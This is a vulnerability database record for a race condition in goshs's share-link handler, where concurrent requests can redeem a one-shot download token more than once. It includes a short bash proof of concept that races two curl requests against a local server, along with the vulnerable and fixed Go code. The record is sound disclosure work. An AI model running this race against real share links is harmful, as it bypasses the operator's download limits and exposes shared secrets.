{"id":"CVE-2026-50139","aliases":["CVE-2026-50139","GHSA-j48m-h7xq-2xpj","GO-2026-5881"],"related":[],"kind":"vulnerability","state":"published","title":"goshs: Share-link ?token=… redemption races past download limit","summary":"goshs is a SimpleHTTPServer written in Go. Prior to version 2.1.0, `ShareHandler` reads the share token's `DownloadLimit` under `RLock`, releases the lock, serves the file, then re-acquires the lock to increment the counter. Concurrent requests all read the same `Downloaded`/`DownloadLimit` snapshot, all pass the check, and all are served — exceeding the operator's intended cap. Version 2.1.0 patches the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"goshs is a SimpleHTTPServer written in Go. Prior to version 2.1.0, `ShareHandler` reads the share token's `DownloadLimit` under `RLock`, releases the lock, serves the file, then re-acquires the lock to increment the counter. Concurrent requests all read the same `Downloaded`/`DownloadLimit` snapshot, all pass the check, and all are served — exceeding the operator's intended cap. Version 2.1.0 patches the issue.","source":"cvelist"},{"lang":"en","text":"# Share-link `?token=…` redemption races past download limit\n\n**Ecosystem:** Go\n**Package:** `goshs.de/goshs/v2` (`github.com/patrickhener/goshs`)\n**Affected:** `<= v2.0.9` (every release that shipped the share-link feature)\n\n## Summary\n\n`ShareHandler` reads the share token's `DownloadLimit` under `RLock`, releases the lock, serves the file, then re-acquires the lock to increment the counter. Concurrent requests all read the same `Downloaded`/`DownloadLimit` snapshot, all pass the check, and all are served — exceeding the operator's intended cap.\n\n## Details\n\n[`httpserver/handler.go:968-1018`](https://github.com/patrickhener/goshs/blob/v2.0.9/httpserver/handler.go#L968-L1018):\n\n```go\nfs.sharedLinksMu.RLock()\nentry, ok := fs.SharedLinks[token]\nfs.sharedLinksMu.RUnlock()                       // <-- released here\n\nif entry.DownloadLimit > 0 || entry.DownloadLimit == -1 {\n    // ...serve file...                          // <-- whole transfer happens unlocked\n}\n\nfs.sharedLinksMu.Lock()                          // <-- re-acquired only now\ncurrent.Downloaded++\nif current.Downloaded >= current.DownloadLimit { delete(fs.SharedLinks, token) }\nfs.sharedLinksMu.Unlock()\n```\n\nBetween line 978 (`RUnlock`) and line 1008 (`Lock`), any number of goroutines can interleave and each observes the same pre-increment limit.\n\n## Proof of concept\n\n```bash\ngoshs -p 18000 -d /tmp/r -b admin:pw &\necho data > /tmp/r/f.txt\n\n# operator issues a one-shot share\nSHARE=$(curl -su admin:pw \"http://localhost:18000/f.txt?share&limit=1\")\nTK=$(echo \"$SHARE\" | sed -n 's/.*token=\\([^\"]*\\)\".*/\\1/p')\n\n# attacker races two redemptions\ncurl -so /dev/null -w \"%{http_code}\\n\" \"http://localhost:18000/?token=$TK\" & \\\ncurl -so /dev/null -w \"%{http_code}\\n\" \"http://localhost:18000/?token=$TK\" & \\\nwait\n# observed: 200 / 200 (both succeed) -> limit=1 redeemed twice\n```\n\nReproduced 5/5 times in a row on a 2026-era M-series Mac during verification.\n\n## Impact\n\nA \"single-use\" share intended to deliver a one-shot secret can be redeemed N times by N concurrent clients. Combined with any token-leak vector (mail forwarding, browser history, intercepted link, etc.) this multiplies the exfiltration window.\n\n## Suggested fix\n\nReserve under the write lock *before* serving — refund only if the serve fails:\n\n```go\nfs.sharedLinksMu.Lock()\nentry, ok := fs.SharedLinks[token]\nif !ok || time.Now().After(entry.Expires) ||\n   (entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit) {\n    fs.sharedLinksMu.Unlock(); http.NotFound(w, r); return\n}\nentry.Downloaded++\nif entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit {\n    delete(fs.SharedLinks, token)\n} else {\n    fs.SharedLinks[token] = entry\n}\nfs.sharedLinksMu.Unlock()\n// ...serve...\n```\n\nAdd a regression test that races two requests against a `limit=1` token and asserts exactly one `200`.\n\nReporter: Nishant Verma. Reproduced against `goshs v2.0.9` (commit `8fc1e91`) on 2026-05-27.","format":"markdown","source":"ghsa"},{"lang":"en","text":"goshs: Share-link ?token=… redemption races past download limit in goshs.de/goshs","format":"markdown","source":"go"},{"lang":"es","text":"goshs es un SimpleHTTPServer escrito en Go. Antes de la versión 2.1.0, ’ShareHandler’ lee el ’DownloadLimit’ del token de compartición bajo ’RLock’, libera el bloqueo, sirve el archivo y luego vuelve a adquirir el bloqueo para incrementar el contador. Las solicitudes concurrentes leen la misma instantánea de ’Downloaded’/’DownloadLimit’, todas pasan la verificación y todas son servidas - excediendo el límite previsto por el operador. La versión 2.1.0 corrige el problema.","source":"nvd"}],"published":"2026-07-01T21:59:08.000Z","modified":"2026-10-22T22:10:00.250Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","score":5.9,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","score":5.9,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","score":5.9,"rating":"MEDIUM"}],"cwes":["CWE-362"],"affected":[{"ranges":[{"version":"< 2.1.0","status":"affected"}],"vendor":"patrickhener","product":"goshs","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.1.0"}],"ecosystem":"Go","package":"goshs.de/goshs/v2","purl":"pkg:golang/goshs.de/goshs/v2","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"goshs.de/goshs","purl":"pkg:golang/goshs.de/goshs","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.1.0"}],"ecosystem":"Go","package":"goshs.de/goshs/v2","purl":"pkg:golang/goshs.de/goshs/v2","source":"go"}],"references":[{"url":"https://github.com/goshs-labs/goshs/security/advisories/GHSA-j48m-h7xq-2xpj","tags":["exploit","x-refsource-confirm"],"sources":["cvelist","nvd"]},{"url":"https://github.com/patrickhener/goshs/security/advisories/GHSA-j48m-h7xq-2xpj","tags":["advisory","web"],"sources":["ghsa","go"]},{"url":"https://github.com/patrickhener/goshs","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-08-19T14:33:06.319Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-50139","url":"https://www.cve.org/CVERecord?id=CVE-2026-50139","licence":"CVE Terms of Use","modified":"2026-08-19T14:34:47.743Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-j48m-h7xq-2xpj","url":"https://github.com/advisories/GHSA-j48m-h7xq-2xpj","licence":"CC-BY-4.0","modified":"2026-07-07T16:11:27.223Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5881","url":"https://pkg.go.dev/vuln/GO-2026-5881","licence":"CC-BY-4.0","modified":"2026-07-07T16:00:42.736Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-50139","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-50139","licence":"Public domain","modified":"2026-10-22T22:10:00.250Z"}],"updatedAt":"2026-11-25T22:59:33.474Z","epss":{"score":0.00275,"percentile":0.21308,"date":"2026-12-01T12:00:22.000Z"}}